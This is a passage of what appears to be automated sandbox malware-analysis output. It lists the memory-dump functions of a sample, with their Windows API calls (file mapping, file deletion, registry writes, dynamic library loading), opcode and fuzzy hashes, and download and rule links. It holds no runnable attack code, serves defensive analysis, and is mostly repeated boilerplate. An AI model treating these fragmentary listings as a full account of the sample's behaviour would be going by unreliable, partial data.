                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: AllocCreateDispatcherExceptionMutexUserVirtual
                                                            • String ID:
                                                            • API String ID: 979207007-0
                                                            • Opcode ID: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                                            • Instruction ID: d6498c81d44f0a9832fdc28ed8bdba362700033966f5827c4f83d57a90330bc8
                                                            • Opcode Fuzzy Hash: f9939f4a1a6ffcb6437ec841425aad15b476a2f1f311277c3848372b926bea02
                                                            • Instruction Fuzzy Hash: 49B13775A002898FEF10CF54CD84BA9B7E5FF55304F494556DC09AF2A0E776AA80CB4A
                                                            Function 029DF030 Relevance: 3.0, APIs: 2, Instructions: 37fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00008000,02A53A34), ref: 029DF067
                                                            • MapViewOfFile.KERNEL32(E8F44D8D,00000006,00000000,00000000,00008000,?,029D232C,?,029D2B51,00000000,?,?,?), ref: 029DF08E
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: File$CreateMappingView
                                                            • String ID:
                                                            • API String ID: 3452162329-0
                                                            • Opcode ID: 2b352b0de1a947bbe98f6c48bbec3e1b8923f87ffde4d694f254e16692fa96ab
                                                            • Instruction ID: 77c8b72e5219a23cda632c20ac61145fe573c0023e0da52343b54caf0509892d
                                                            • Opcode Fuzzy Hash: 2b352b0de1a947bbe98f6c48bbec3e1b8923f87ffde4d694f254e16692fa96ab
                                                            • Instruction Fuzzy Hash: 44019674A40208FBD714CF94DA45F5AB7B5BB48714F348288E9096B3C1C771AE45DB44
                                                            Function 029D7C71 Relevance: 3.0, APIs: 2, Instructions: 34fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • MapViewOfFile.KERNEL32(00000258,00000006,00000000,00000000,00015400), ref: 029D7CA8
                                                            • UnmapViewOfFile.KERNEL32(00000000), ref: 029D7CD7
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: FileView$Unmap
                                                            • String ID:
                                                            • API String ID: 3282598733-0
                                                            • Opcode ID: 0c0ea6d434f0784a0413184a132803e0b6f217135336b456a3f50dd99a2a0009
                                                            • Instruction ID: 5f4ee5751ed89d71a200480a441fe8149b14eeb726028ee931ec9f2323afb44f
                                                            • Opcode Fuzzy Hash: 0c0ea6d434f0784a0413184a132803e0b6f217135336b456a3f50dd99a2a0009
                                                            • Instruction Fuzzy Hash: A7F0AF74D40308EBDB10CFA4ED49BDDB7B8A788709F208544E6096B2C0D7B1E699DB40
                                                            Function 029D5719 Relevance: 3.0, APIs: 2, Instructions: 26fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • SetFileAttributesA.KERNEL32(?,00000020), ref: 029D5740
                                                            • DeleteFileA.KERNEL32(?), ref: 029D574A
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: File$AttributesDelete
                                                            • String ID:
                                                            • API String ID: 2910425767-0
                                                            • Opcode ID: 32ec500c4ba1cc6cf148160abe471067091dced9d642f1fd22409a72a03e4216
                                                            • Instruction ID: ad1ac302eb08763ff975a9498521a6e57dfffc90680e827727784907e7dadf8d
                                                            • Opcode Fuzzy Hash: 32ec500c4ba1cc6cf148160abe471067091dced9d642f1fd22409a72a03e4216
                                                            • Instruction Fuzzy Hash: DEE0D8B4640304EBE7205FA0D849B6633686B28314F91C811FE0A8D140D679D144DB50
                                                            Function 029DBE4B Relevance: 3.0, APIs: 2, Instructions: 18sleepCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • FindClose.KERNEL32(00000000), ref: 029DBE65
                                                            • Sleep.KERNEL32(00000400), ref: 029DBE70
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CloseFindSleep
                                                            • String ID:
                                                            • API String ID: 1358061995-0
                                                            • Opcode ID: 8a749eb6a90c44601cbf0bc73ac26fc6e1445cae81dc05dd6e64e0a4c341bdcd
                                                            • Instruction ID: fce9e415e03007ad288dc889ac644a1cd2552cccae50e05972888df27efa550a
                                                            • Opcode Fuzzy Hash: 8a749eb6a90c44601cbf0bc73ac26fc6e1445cae81dc05dd6e64e0a4c341bdcd
                                                            • Instruction Fuzzy Hash: EBE04FB2E40714CBCB248BA4D8057A9B7B0FB4C325F000A99DB1993280CB314851CB55
                                                            Function 029DF9B9 Relevance: 1.5, APIs: 1, Instructions: 33registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • wsprintfA.USER32 ref: 029DFA60
                                                            • RegSetValueExA.KERNEL32(00000000,00000000,00000000,00000004,00000000,00000004), ref: 029DFB14
                                                            • wsprintfA.USER32 ref: 029DFBC9
                                                            • RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004), ref: 029DFC06
                                                            • RegCloseKey.KERNEL32(00000000), ref: 029DFCD5
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Valuewsprintf$CloseQuery
                                                            • String ID:
                                                            • API String ID: 1706290719-0
                                                            • Opcode ID: 934a4cfcbc2a2201af99f6a1c02e1381f2a3051e33589d88ea9aaa1f8205da7c
                                                            • Instruction ID: 05cf0d93cf85e3edd96ade42f1ff2bced7788c277559e79900d2e5df09195df5
                                                            • Opcode Fuzzy Hash: 934a4cfcbc2a2201af99f6a1c02e1381f2a3051e33589d88ea9aaa1f8205da7c
                                                            • Instruction Fuzzy Hash: 0A014630A01119EBCB24CB84E9997A9B3B5BF48315F1086E9C40BA7A50D7348EC0DF04
                                                            Function 00BD9BC1 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • KiUserExceptionDispatcher.NTDLL(?,00BD9B69), ref: 00BD9BC7
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: DispatcherExceptionUser
                                                            • String ID:
                                                            • API String ID: 6842923-0
                                                            • Opcode ID: b28eeaae62f6e23880d25c289dfa0cc529f8748fb4b8a3ea378fa927efa10cda
                                                            • Instruction ID: fcbf638f3cd4f301f551c20a43105940ec0150957d4e7d1b5debb374fe8bc9f4
                                                            • Opcode Fuzzy Hash: b28eeaae62f6e23880d25c289dfa0cc529f8748fb4b8a3ea378fa927efa10cda
                                                            • Instruction Fuzzy Hash: 84D0A9B42002448FEF508F388808438BAE9EF89320B1245BCE8CAEB360E7349D40DB01
                                                            Function 029D40AD Relevance: 1.3, APIs: 1, Instructions: 44sleepthreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Sleep.KERNEL32(010B0023), ref: 029D42A0
                                                            • Sleep.KERNEL32(001B7740), ref: 029D42AD
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029D42BA
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Sleep$ExitThreadUser
                                                            • String ID:
                                                            • API String ID: 3121592155-0
                                                            • Opcode ID: 0e6fa0901ff89adf8b76b5a98c31658c283e827c3774e9beb07752343e142733
                                                            • Instruction ID: 62c6f3296b76736672e7aa3231c144349aae5609b07ca85b7779b7c6bbebd750
                                                            • Opcode Fuzzy Hash: 0e6fa0901ff89adf8b76b5a98c31658c283e827c3774e9beb07752343e142733
                                                            • Instruction Fuzzy Hash: 73112E74E402258BEB64CB00CE457697375BBA4305F14D5B9C64A67644DB358A81DF09

                                                            Non-executed Functions

                                                            Function 004804B1 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,00479161,?,Microsoft Visual C++ Runtime Library,00012010,?,00B758FC,?,00B7594C,?,?,?,Runtime Error!Program: ), ref: 004804C3
                                                            • GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 004804DB
                                                            • GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 004804EC
                                                            • GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 004804F9
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: AddressProc$LibraryLoad
                                                            • String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
                                                            • API String ID: 2238633743-4044615076
                                                            • Opcode ID: d786ff7992db97a1dffa48aa709cdf7a73141cdf6664910d741613ab98f473c3
                                                            • Instruction ID: 6a8d1dfe1ea23f538153cb4840ccdb14956e98fef7ea7ea1032adb6d53b4dd41
                                                            • Opcode Fuzzy Hash: d786ff7992db97a1dffa48aa709cdf7a73141cdf6664910d741613ab98f473c3
                                                            • Instruction Fuzzy Hash: AD017171700711BFCB60EFB9AC8091F7BE8AA99640705087AF506C3272DBB4C809DF64
                                                            Function 029D6A85 Relevance: 4.5, Strings: 3, Instructions: 787COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: ExchangeInterlocked
                                                            • String ID: x$z${
                                                            • API String ID: 367298776-1334427886
                                                            • Opcode ID: 9f29e42ef5a6560868ce4eb51e0fe1a00de4deb29793d12b8fdf88eaf7664271
                                                            • Instruction ID: f8d85e0d3e290ad327516496e96f1f40191ca1077d31411053c4915df454d9c9
                                                            • Opcode Fuzzy Hash: 9f29e42ef5a6560868ce4eb51e0fe1a00de4deb29793d12b8fdf88eaf7664271
                                                            • Instruction Fuzzy Hash: 11625DB1E0010AEFCF04CFA8D981AAEB7B6FF84304F24C659E415A7280D734AA55DF91
                                                            Function 0048F013 Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetVersion.KERNEL32(?,0048F0B6,?,0048E477,00000010,004252D0,00B72348,?,?,?,0048DE5E,0048DEC1,0048D73D,0048DE64,0048B4B6,00B72348), ref: 0048F026
                                                            • RtlInitializeCriticalSection.NTDLL(00BB4170), ref: 0048F04B
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CriticalInitializeSectionVersion
                                                            • String ID:
                                                            • API String ID: 385228656-0
                                                            • Opcode ID: fdff46d8c6b4dbca1a488777d9e4c414a10b1933d7e91717468a2769f3705970
                                                            • Instruction ID: 539bfff49176d12d0e5e05b452e99f0fb767f93e896a99728b9f14cde4554bc0
                                                            • Opcode Fuzzy Hash: fdff46d8c6b4dbca1a488777d9e4c414a10b1933d7e91717468a2769f3705970
                                                            • Instruction Fuzzy Hash: 58E0B6704806208BE761AF08FD4879937E4F72A753F94063BF541522A3CBF9A4CA8B4C
                                                            Function 00556EE6 Relevance: .4, Instructions: 422COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ef42c0caefb6cf778a81800d0032769310c2d70709124d830f1f546d689b8be0
                                                            • Instruction ID: 2b98c24720c7424b599567923b6eb7c172a2d6f368d39b946fddae57300cf668
                                                            • Opcode Fuzzy Hash: ef42c0caefb6cf778a81800d0032769310c2d70709124d830f1f546d689b8be0
                                                            • Instruction Fuzzy Hash: D0E13BB4D04209EFDF00DF90E8867AEBF70FF0A312F145466E9056A241D7759A98CBA6
                                                            Function 00615DC6 Relevance: .4, Instructions: 353COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9cd84e39fbba51f6ce0f5ff1a1f84f7ab0a6022d30d8be81fc522cbf5ef6766b
                                                            • Instruction ID: 7b407bd94ec37164d261338174f0215b49661f44c0dea481691e046292662520
                                                            • Opcode Fuzzy Hash: 9cd84e39fbba51f6ce0f5ff1a1f84f7ab0a6022d30d8be81fc522cbf5ef6766b
                                                            • Instruction Fuzzy Hash: A7D1F9B5A40255DBEF00CF98DCC0B99BBB0FF19320F2854A1E945AB305D374B965DB22
                                                            Function 006A0000 Relevance: .3, Instructions: 344COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
